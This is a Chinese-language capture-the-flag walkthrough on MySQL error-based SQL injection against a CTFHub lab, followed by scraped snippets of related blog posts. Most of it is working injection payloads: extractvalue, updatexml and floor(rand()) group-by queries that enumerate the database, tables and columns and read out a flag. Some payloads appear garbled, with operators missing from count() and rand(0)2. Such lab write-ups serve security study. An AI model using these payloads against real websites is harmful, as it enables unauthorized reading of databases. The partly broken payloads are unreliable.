當場景中僅僅將sql語句帶入查詢返回頁面正確,沒有返回點的時候,
需要報錯注入,用報錯的回顯。
裡面用slect語句,不能用 union select
1.功能:將多個字串連線成乙個字串。2.語法:concat(str1, str2,...)
返回結果為連線引數產生的字串,如果有任何乙個引數為null,則返回值為null。
extractvalue報錯注入語句格式:
?id=2 and extractvalue(null,concat(0x7e,(sql語句),0x7e))
?id=2 and extractvalue(null,concat(0x7e,(database()),0x7e))得到資料庫名sqli
?id=2 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli'limit 0,1),0x7e))得到第乙個表名news
?id=2 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli'limit 1,1),0x7e))
得到第二個表名flag
?id=2 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema='sqli'and table_name='flag'limit 0,1),0x7e))得到flag表中第乙個欄位名為flag
測試 limit 1,1 時無返回所以應該就乙個字段
?id=2 and extractvalue(null,concat(0x7e,(select flag from flag limit 0,1),0x7e))合併得到flag ctfhub得到一半的flag:ctfhub
和
?id=2+and+(select+1+from+(select+count(),concat((select(select+concat(cast(concat(flag)+as+char),0x7e))+from+sqli.flag+limit+0,1),floor(rand(0)2))x+from+information_schema.tables+group+by+x)a)對比合併得到flag ctfhub
?id=2 and (updatexml(1,concat(0x7e,(database()),0x7e),1))得到資料庫sqli
?id=2+and+(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli'limit 1,1),0x7e),1))得到表名flag
?id=2+and+(updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='sqli'and table_name='flag'limit 0,1),0x7e),1))得到列名flag
?id=2+and+(updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1))得到ctfhub
+and(select+1+from+(select+count(),concat((select(select+concat(cast(database()+as+char),0x7e))+from+information_schema.tables+where+table_schema=database()+limit+0,1),floor(rand(0)2))x+from+information_schema.tables+group+by+x)a)
得到資料庫 sqli
?id=1+and(select+1+from+(select+count(),concat((select(select+concat(cast(table_name+as+char),0x7e))+from+information_schema.tables+where+table_schema=0x73716c69+limit+0,1),floor(rand(0)2))x+from+information_schema.tables+group+by+x)a)得出第乙個表為news 修改為limit 1,1 得出為flag表
?id=1+and+(select+1+from+(select+count(),concat((select(select+concat(cast(column_name+as+char),0x7e))+from+information_schema.columns+where+table_name=0x666c6167+and+table_schema=0x73716c69+limit+0,1),floor(rand(0)2))x+from+information_schema.tables+group+by+x)a)得出列名為flag
?id=1+and+(select+1+from+(select+count(),concat((select(select+concat(cast(concat(flag)+as+char),0x7e))+from+sqli.flag+limit+0,1),floor(rand(0)2))x+from+information_schema.tables+group+by+x)a)得到ctfhub
SQL注入 報錯注入
乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...
SQL注入 報錯注入
sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...
SQL注入 報錯注入
利用 mysql select 1 from select count concat version floor rand 0 2 x from information schema.tables group by x a error 1062 23000 duplicate entry 5.1.4...